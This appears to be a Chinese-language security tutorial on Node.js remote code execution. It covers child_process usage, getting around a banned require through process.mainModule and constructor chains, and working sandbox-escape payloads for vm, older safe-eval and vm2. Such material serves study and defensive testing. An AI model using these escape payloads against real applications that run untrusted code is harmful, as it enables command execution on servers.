RCE
js与php类似,执行命令需要使用执行函数,常用的有
eval("js代码"); // 执行js代码
setTimeout("js代码", 延迟时间); // 延迟执行js代码
setInterval("js代码", 间隔时间); // 每隔一段时间执行js代码
Function("console.log('HelloWolrd')")(); // 通过Function构造函数创建一个新的函数并执行
一般执行RCE需要我们使用child_process模块下的exec函数,它会调用bash执行命令并返回结果
require('child_process').exec('code').toString();
由于exec调用的是shell,回显结果默认为buffer二进制流,需要使用toString()方法将其转换为字符串格式
关于toString()还有以下用法:
num.toString(16) 进制转化 const fruits = ["苹果", "香蕉", "橙子"]; console.log(fruits.toString()); // 输出: "苹果,香蕉,橙子"
需要注意的是js默认输出编码为utf-8,而中文系统CLI默认编码为gbk,需要使用iconv-lite模块进行编码转换
(function(args){
const buf = require('child_process').execSync(args);
console.log(require('iconv-lite').decode(buf, 'cp936'));
})('dir');
.exec和.execSync的区别在于前者是异步执行,后者是同步执行。execSync会阻塞代码执行直到命令执行完成并返回结果
有时候会ban你require的使用。在这种情况下,我们需要跳出当前环境
process.mainModule.require('child_process').exec('code');
process是当前js进程的全局对象,mainModule指向该对象主模块,这是底层原生的
但通常沙箱环境的上下文process也不会去给。这里我们又要运用到js原型的知识
const process = {}.constructor.constructor('return process')();
const result = process.mainModule.require('child_process').execSync('dir').toString();
console.log(result);
{}指代对象(也可以换成[],"")。他的上一层是Object,而Object的上一层是Function。Function是构造js底层的构造函数,我们让他把process返回出来
再探究底层一点,其实MainModule也有原型:Module类。内部有私有方法_load(),require()本质上也是调用这个方法使用的
process.mainModule.constructor._load('child_process').exec('calc')
vm沙箱逃逸
- vm
刚刚提到了上下文(context),就是vm模块的作用环境,这里用简单的代码演示context如何运作
const vm = require('vm');
const context = { x: 1 }; //上下文把变量x设置为1
vm.createContext(context); // 创建一个新的上下文
vm.runInContext('x += 1; var y = 2;', context); // 在上下文中运行代码
console.log(context.x); // 输出: 2
console.log(context.y); // 输出: 2
而vm沙箱默认将context置空,导致其无法访问全局对象和模块,无法直接调用require等函数。
const vm = require("vm");
// const context = {};
vm.createContext(context);
const xyz = vm.runInNewContext(`...`);
console.log(xyz);
注意这里的context,在沙箱里其实也算作一个对象。而沙箱里的this也是指代该对象。所以rce的payload也可以这么写
const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()
同样适用的还有第三方库safe-eval(version<0.4.0)
- vm2
vm2是一个第三方模块,相当于vm的升级版,内部采用了proxy来进行控制访问。proxy是js的一个内置对象,可以用来定义基本操作的自定义行为,比如属性查找、赋值、枚举、函数调用等
这时候再写this.constructor就不行了,因为vm2默认会给context设置了proxy过滤了此操作
不过vm2百密一疏,它捕获的error对象是不被包括在沙盒内的。我们可以用try...catch捕获error对象,并从中获取到全局对象
try {
this.process.removeListener();
// removeListener()必须要传参,否则会抛出异常
}
catch (host_exception) {
console.log('host exception: ' + host_exception.toString());
host_constructor = host_exception.constructor.constructor;
host_process = host_constructor('return this.process')();
child_process = host_process.mainModule.require("child_process");
console.log(child_process.execSync("whoami").toString());
}
